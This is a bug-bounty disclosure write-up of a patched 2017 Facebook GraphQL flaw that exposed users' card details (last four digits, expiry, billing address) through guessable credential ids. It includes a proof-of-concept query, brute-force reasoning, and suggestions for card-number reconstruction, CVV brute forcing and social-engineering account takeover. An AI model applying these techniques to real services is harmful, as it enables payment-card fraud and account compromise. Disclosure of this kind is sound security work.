Facebook's Bug - Unauthorized access to credit/prepaid card details (limited) of any user
Description
There are various Facebook products like Ads Manager, Business Manager, Messenger Payments, etc. which requires an user
to add some payment method to their Facebook account which can be credit card, debit card, paypal, etc.
eg. If I want to run Facebook Ads then I need to add a credit card
or any other relevant payment method so as to use it. Same is with other products.
Facebook assigns a unique 15 digit random number
to any card
added to user's Facebook account and this id
is known as credential id
. This credential id
is then used by Facebook to query about credit card
details.
This credential id
was querable via GraphQL
and it allowed an attacker to use it(credential id) to get credit card
details. But it exposed last 4 digits, address, expiry date, etc.
How one can get credential id
?
credential id
?There are few methods to get credential id
of your card
...
1] I had reported a bug last year where Ad Analyst
was able to escalate privileges and was able to access funding sources
of the Ad account. This leaked the credential id
of the payment method. Unfortunately this bug went duplicate but I was still able to use it to demonstrate the flaw.
2] Brute Force / Dictionary attacks :
We need to form 15 digit numbers so calculations are as follows...
- We have digits [0-9]
- We have 15 places
- 1st digit can be [1-9] i.e only 9 combinations
- Other 14 digits can be anything [0-9] i.e 10 combinations
So,
9x10^14 =
10^14 = 100000000000000 = 100000 billion
9x10^14 = 900000 billion combinations
This covers all the 15 digit numbers. We need ONLY 900000 billion numbers. This seems to be practically possible as it may take few weeks to do so.
But even if we consider it impossible, one can generate numbers in range like generating number from 931000000000000 to 999999999999999
. This will be a lot quicker than previous one. Also, if we reduce the range and only brute force last 6-8 digits
still we can generate a lot of valid 15 digit numbers.
So, now we assume that we can generate a large amount of valid unique 15 digit
number.
*Note : I avoided running the real brute force/dictionary attack as it would get me access to real
credential ids
of real users which voids Facebook's terms. Instead, to prove my point I provided POC of my test accounts where I was able to show that brute force attack may work to get access to credit card details.
3] Other methods:
Ad account Admin removed from the Ad account having noted these ids can still use it now and get access credit card
details.
Similarly, it applies to Business Manager as it has a separate payment management
. A user having access to Business Manager but now removed from it can still have credential ids
.
Proof Of Concept
1] Get an access_token
which can access graphql
. This token can be obtained by observing requests/responses of your Android/IOS Facebook app or other Facebook owned apps.
2] Now, get yourself a credential id
via any of the methods listed above.
3] Encode the credential id
in order to form a string as base64encode(p2p_credential_id)
.
eg. base64encode(p2p_999999999999999) --> cDJwXzk5OTk5OTk5OTk5OTk5OQ==
4] Make following graphql calls ...
*Note : (Use access_token
which you derived in Step 1)
REQUEST
POST /graphql?q=node()
{
__typename,
id,
credit_card{
credential_id,
card_association,
number,
expire_month,
expire_year,
address {
__typename,
postal_code ,
full_address,
single_line_full_address,
street,
city,
country,
postal_code
}
},
mobile_csc_verified,
zip_verified,
web_csc_verified,
method_category,
commerce_payment_eligible,
personal_transfer_eligible,
is_default_receiving
}
RESPONSE
{
"": {
"__typename": "PeerToPeerPaymentMethod",
"id": "",
"credit_card": {
"credential_id": "",
"card_association": "VISA",
"number": "",
"expire_month": "",
"expire_year": "",
"address": {
"__typename": "StreetAddress",
"postal_code": "",
"full_address": "",
"single_line_full_address": "",
"street": "",
"city": "",
"country": "US"
}
},
"mobile_csc_verified": true,
"zip_verified": true,
"web_csc_verified": true,
"method_category": "DEBIT_CARD",
"commerce_payment_eligible": false,
"personal_transfer_eligible": true,
"is_default_receiving": false
}
}
5] Here, my credit card
details(last 4 digits, expiry details, card association,etc.) and other sensitive information(address, etc.) are leaked.
NOTE : Please note that
credential id
is never deleted from Facebook. So, anyone can access the details even if card is removed or account is deactivated.
How one can exploit it?
-
Try to form a valid credit card :
According to my research, it is possible to validate a credit card number using Luhn algorithm (https://en.wikipedia.org/wiki/Luhn_algorithm). One can generate a large set ofcredit card details
then filter out the credit cards based onlast 4 digits and pincode and expiry date
. This will return a very small set of valid credit cards. Later, cvv number can be brute force or any alternative attack can be done if we have valid credit cards.
This attack is sophisticated and will require a lot of time but it is not practically impossible. -
Hacking combined with social engineering :
One can play smart and can make use of these details to compromise one's apple account or amazon account or other things
Reference : https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/all/
One can even think of innovative ways to use these stolen credit card details.
Impact
Once attacker knows the credential id
then attacker can access credit card details which exposed the following:
- last 4 digits
- expiry date
- address
- country and other relevant details
Facebook determined that brute force attack may take a long time but considering other methods they patched the bug by placing permission checks on the endpoint. Now, users can only access their own credit cards.
Special Thanks
Thanks to Facebook for patching the vulnerability and all my friends who are supporting me for my work.
How can you learn GraphQL?
Timeline
January 1, 2017 at 11:35pm - Report Sent
January 13, 2017 at 6:22pm - Initial Response by Facebook
January 16, 2017 at 6:59am - Sent more information
January 18, 2017 at 1:55pm - Bug Confirmed by Facebook
January 24, 2017 at 3:44pm - Bug fixed and response by Facebook
January 27, 2017 at 7:40am - Confirmation of fix by me
February 1, 2017 at 4:31pm - Bounty awarded